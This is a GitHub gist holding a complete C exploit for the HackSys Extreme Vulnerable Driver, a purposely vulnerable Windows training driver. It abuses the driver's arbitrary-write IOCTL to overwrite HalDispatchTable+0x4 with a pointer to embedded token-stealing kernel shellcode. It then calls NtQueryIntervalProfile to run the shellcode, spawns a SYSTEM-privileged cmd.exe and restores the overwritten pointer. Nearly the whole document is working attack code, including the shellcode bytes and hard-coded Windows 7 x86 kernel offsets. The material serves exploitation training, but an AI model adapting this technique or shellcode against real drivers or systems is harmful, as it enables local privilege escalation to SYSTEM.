Skip to content

Instantly share code, notes, and snippets.

@ewilded
Created October 17, 2021 09:02
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ewilded/4b9257b552c6c1e2a3af32879f623803 to your computer and use it in GitHub Desktop.
Save ewilded/4b9257b552c6c1e2a3af32879f623803 to your computer and use it in GitHub Desktop.
HEVD_write-what-where
// this is my third HEVD exploit based on hasherezade's HEVD IOCTL-talking skeleton and HEVD official POC
#include <stdio.h>
#include <windows.h>
#include <time.h>
#include <Psapi.h>
#include <winioctl.h>
#include <TlHelp32.h>
// 802
#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)
const char kDevName[] = "\\\\.\\HackSysExtremeVulnerableDriver";
HANDLE open_device(const char* device_name)
{
HANDLE device = CreateFileA(device_name,
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL
);
return device;
}
void close_device(HANDLE device)
{
CloseHandle(device);
}
// offsets below are taken from Payloads.h from the HEVD exploit
// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
/* token-stealing code:
0: 60 pusha
1: 64 a1 24 01 00 00 mov %fs:0x124,%eax
7: 8b 40 50 mov 0x50(%eax),%eax
a: 89 c1 mov %eax,%ecx
c: ba 04 00 00 00 mov $0x4,%edx
11: 8b 80 b8 00 00 00 mov 0xb8(%eax),%eax
17: 2d b8 00 00 00 sub $0xb8,%eax
1c: 39 90 b4 00 00 00 cmp %edx,0xb4(%eax)
22: 75 ed jne 0x11
24: 8b 90 f8 00 00 00 mov 0xf8(%eax),%edx
2a: 8b b9 f8 00 00 00 mov 0xf8(%ecx),%edi
30: 83 e2 f8 and $0xfffffff8,%edx
33: 83 e7 07 and $0x7,%edi
36: 01 fa add %edi,%edx
38: 89 91 f8 00 00 00 mov %edx,0xf8(%ecx)
3e: 61 popa
3f: c3 ret
*/
unsigned char kShellcode[] = {
0x60, 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x50, 0x89, 0xC1,
0xBA, 0x04, 0x00, 0x00, 0x00, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, 0x2D,
0xB8, 0x00, 0x00, 0x00, 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, 0x75, 0xED,
0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, 0x8B, 0xB9, 0xF8, 0x00, 0x00, 0x00,
0x83, 0xE2, 0xF8, 0x83, 0xE7, 0x07, 0x01, 0xFA, 0x89, 0x91, 0xF8, 0x00,
0x00, 0x00, 0x61, 0xC3 // 0xC3 RET (added missing)
};
PVOID HaliQuerySystemInformation = NULL; // global pointers to the kernel structures we will be messing with
PVOID HalDispatchTable = NULL;
PVOID TokenStealingShellcode = NULL;
PVOID HalDispatchTablePlus4 = NULL;
// type declaration taken from HEVDs source:
typedef struct _WRITE_WHAT_WHERE {
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation = 11,
SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS (WINAPI *NtQuerySystemInformation_t)(IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength);
// the following two typedefs are also taken from the Common.h from HEVD exploit (), this structure is used to retrieve the HalDisaptchTable address in GetHalDispatchTable.
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
PVOID Unknown1;
PVOID Unknown2;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT NameLength;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[0]; // actually there is Count of elements in this Module array, for the sake of using the structure to parse a block of data, this is sufficient to ready any index we need - which in this case is only 0 (ntoskrnl.exe) and 1 (halacpi.dll)
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
// template for this was taken from ArbitraryOverwrite.c (HEVD official POC)
PVOID FetchGlobalPointers() {
HMODULE hNtDll = NULL;
HMODULE hKernelInUserMode = NULL;
HMODULE hHalacpiInUserMode = NULL;
PVOID KernelBaseAddressInKernelMode;
PVOID HalacpiBaseAddressInKernelMode;
ULONG HaliQuerySystemInformationOffset = 0x1b940;
PCHAR KernelImage;
PCHAR HalacpiImage;
SIZE_T ReturnLength;
NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;
hNtDll = LoadLibrary("ntdll.dll");
if (!hNtDll) {
printf("\t\t\t[-] Failed To Load NtDll.dll: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
NtQuerySystemInformation_t NtQuerySystemInformation;
NtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(hNtDll, "NtQuerySystemInformation");
if (!NtQuerySystemInformation) {
printf("\t\t\t[-] Failed Resolving NtQuerySystemInformation: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
NtStatus = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &ReturnLength); // this is where ReturnLength is filled with a value - it's an output argument of NtQuerySystemInformation, we receive the length of the sys module information object
// Allocate the Heap chunk to store the object
printf("Allocaing %u bytes...", ReturnLength);
pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
ReturnLength);
if (!pSystemModuleInformation) {
printf("\t\t\t[-] Memory Allocation Failed For SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
NtStatus = NtQuerySystemInformation(SystemModuleInformation,
pSystemModuleInformation,
ReturnLength,
&ReturnLength); // retrieve system information
printf("Retrieved %u bytes (%u modules)\n",ReturnLength,pSystemModuleInformation->Count);
if (NtStatus != STATUS_SUCCESS) {
printf("\t\t\t[-] Failed To Get SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
// looks like all we have to do is iterate over pSystemModuleInformation->Module in order to fetch halacpi.dll base, in addition to fetching kernelbase below (check (PCHAR)(pSystemModuleInformation->Module[0].ImageName))
KernelBaseAddressInKernelMode = pSystemModuleInformation->Module[0].Base;
KernelImage = strrchr((PCHAR)(pSystemModuleInformation->Module[0].ImageName), '\\') + 1;
printf("\t\t\t[+] Loaded Kernel: %s\n", KernelImage);
printf("\t\t\t[+] Kernel Base Address: 0x%p\n", KernelBaseAddressInKernelMode);
hKernelInUserMode = LoadLibraryA(KernelImage);
if (!hKernelInUserMode) {
printf("\t\t\t[-] Failed To Load Kernel: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
// Calculate HalDispatchTable address
HalDispatchTable = (PVOID)GetProcAddress(hKernelInUserMode, "HalDispatchTable");
if (!HalDispatchTable) {
printf("\t\t\t[-] Failed Resolving HalDispatchTable: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
HalDispatchTable = (PVOID)((ULONG_PTR)HalDispatchTable - (ULONG_PTR)hKernelInUserMode); // calculate the offset of the function from the module base in user mode
// Here we get the address of HalDispatchTable in Kernel mode - add the offset to the kernel base
HalDispatchTable = (PVOID)((ULONG_PTR)HalDispatchTable + (ULONG_PTR)KernelBaseAddressInKernelMode);
printf("\t\t\t[+] HalDispatchTable: 0x%p\n", HalDispatchTable);
}
// Now HaliQuerySystemInformation...
// We are using a fixed offset confirmed both with dynamic and static analysis (windbg and ghidra)
HalacpiImage = strrchr((PCHAR)(pSystemModuleInformation->Module[1].ImageName), '\\') + 1;
HalacpiBaseAddressInKernelMode = pSystemModuleInformation->Module[1].Base;
printf("\t\t\t[+] Halacpi Image: %s \n", HalacpiImage);
printf("\t\t\t[+] Halacpi Base Address: 0x%p\n", HalacpiBaseAddressInKernelMode);
// now, add the offset
HaliQuerySystemInformation = (PVOID)((ULONG_PTR)HalacpiBaseAddressInKernelMode + (ULONG_PTR)HaliQuerySystemInformationOffset);
printf("\t\t\t[+] HaliQuerySystemInformation Address: 0x%p\n", HaliQuerySystemInformation);
HeapFree(GetProcessHeap(), 0, (LPVOID)pSystemModuleInformation);
if (hNtDll) {
FreeLibrary(hNtDll);
}
if (hKernelInUserMode) {
FreeLibrary(hKernelInUserMode);
}
}
BOOL send_ioctl(HANDLE device, DWORD ioctl_code)
{
// What we need here are:
// a pointer to the shellcode
// a pointer/buffer (structure) containing the pointer (where) we are about to overwrite (HAL Dispatch Table + 04, as it is the function called by nt!NtQueryIntervalProfile) (just as described here https://rootkits.xyz/blog/2017/09/kernel-write-what-where, while the technique itself is described here http://poppopret.blogspot.de/2011/07/windows-kernel-exploitation-basics-part.html
//prepare the input buffer:
PWRITE_WHAT_WHERE input_buffer = (PWRITE_WHAT_WHERE) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WRITE_WHAT_WHERE));
if (!input_buffer)
{
printf("\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else
{
printf("\t\t\t[+] Memory Allocated: 0x%p\n", input_buffer);
printf("\t\t\t[+] Allocation Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
}
// 1. set the pointers
TokenStealingShellcode = &kShellcode; // the one that does not fix anything - but the ret was missing since we are using shellcode defined as a buffer of bytes, not an inline compilation like the original HEVD PoC does
printf("\t\t\t[+] Shellcode Address: 0x%p\n", TokenStealingShellcode);
FetchGlobalPointers(); // retrieve kernel mode addresses of nt!HalDispatchTable and hal!HaliQuerySystemInformation (the latter is the original function pointed by nt!HalDispatchTable+0x4)
HalDispatchTablePlus4 = (PVOID)((ULONG_PTR)HalDispatchTable+sizeof(PVOID));
// 2. what and where
input_buffer->What=(PULONG_PTR)&TokenStealingShellcode;
printf("\t\t\t[+] Pointer To The Shellcode Address: 0x%p\n", input_buffer);
input_buffer->Where=(PULONG_PTR)HalDispatchTablePlus4;
// 3. call the driver to attain the arbitrary overwrite
DWORD size_returned = 0;
BOOL is_ok = DeviceIoControl(device,
ioctl_code,
(LPVOID)input_buffer,
sizeof(WRITE_WHAT_WHERE),
NULL, //outBuffer -> None
0, //outBuffer size -> 0
&size_returned,
NULL
);
// 4. now we have to call the nt!NtQueryIntervalProfile system function so it calls our shellcode from ring0
// LoaadLibrary ntdll
HMODULE hNtDll = NULL;
hNtDll = LoadLibrary("ntdll.dll");
typedef NTSTATUS (WINAPI *NtQueryIntervalProfileFnc)(IN ULONG ProfileSource, OUT PULONG Interval);
NtQueryIntervalProfileFnc NtQueryIntervalProfile; // pointer to the NtQueryIntervalProfile method
NtQueryIntervalProfile = (NtQueryIntervalProfileFnc)GetProcAddress(hNtDll, "NtQueryIntervalProfile");
if (!NtQueryIntervalProfile)
{
printf("\t\t[-] Failed Resolving NtQueryIntervalProfile: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
// we just call this thing with random params
ULONG Interval = 0;
NtQueryIntervalProfile(0x1337, &Interval);
// 5. we spawn cmd.exe (taken from HackSysEVDExploit.c)
DWORD Start, Stop = 0;
STARTUPINFO StartupInfo = {0};
PROCESS_INFORMATION ProcessInformation = {0};
StartupInfo.wShowWindow = SW_SHOW;
StartupInfo.cb = sizeof(STARTUPINFO);
StartupInfo.dwFlags = STARTF_USESHOWWINDOW;
if (!CreateProcess(NULL,
"cmd.exe",
NULL,
NULL,
FALSE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&StartupInfo,
&ProcessInformation)) {
printf("[-] Failed to Create Target Process: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
//WaitForSingleObject(ProcessInformation.hProcess, INFINITE); // we don't wait for the child process, instead we already proceed to fixing the original HalDispatchTable+0x4 value once the escalation is done, to avoid another process crashing the system, while the the escalated child cmd.exe runs and will keep running even after the parent process terminates
// 6. Trigger the vulnerability again, this time to restore the original value of HalDispatchTable+0x4, so the next process calling NtQueryIntervalProfile() does not crash the system (which they do, e.g. svchost.exe).
printf("\t\t\t[+] Restoring the original HaliQuerySystemInformation Address 0x%p to HalDispatchTable+0x4 0x%p\n", HaliQuerySystemInformation,HalDispatchTablePlus4);
input_buffer->What=(PULONG_PTR)&HaliQuerySystemInformation; // the original value of nt!HalDispatchTable+0x4 is hal!HaliQuerySystemInformation (halacpi.dll) (an address in kernel mode, address of this exact function)
input_buffer->Where=(PULONG_PTR)HalDispatchTablePlus4;
printf("\t\t\t[+] Right after setting the value, input_buffer->Where: 0x%p\n",input_buffer->Where);
is_ok = DeviceIoControl(device,
ioctl_code,
(LPVOID)input_buffer,
sizeof(WRITE_WHAT_WHERE),
NULL, //outBuffer -> None
0, //outBuffer size -> 0
&size_returned,
NULL
);
// 7. Cleanup
// Close the open handles
CloseHandle(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hProcess);
// Release the input bufffer:
HeapFree(GetProcessHeap(), 0, (LPVOID)input_buffer);
// OUR EXPLOIT ENDS HERE
return is_ok;
}
int main()
{
HANDLE dev = open_device(kDevName);
if (dev == INVALID_HANDLE_VALUE) {
printf("Failed!\n");
// system("pause");
return -1;
}
send_ioctl(dev, HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE);
close_device(dev);
// system("pause");..
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment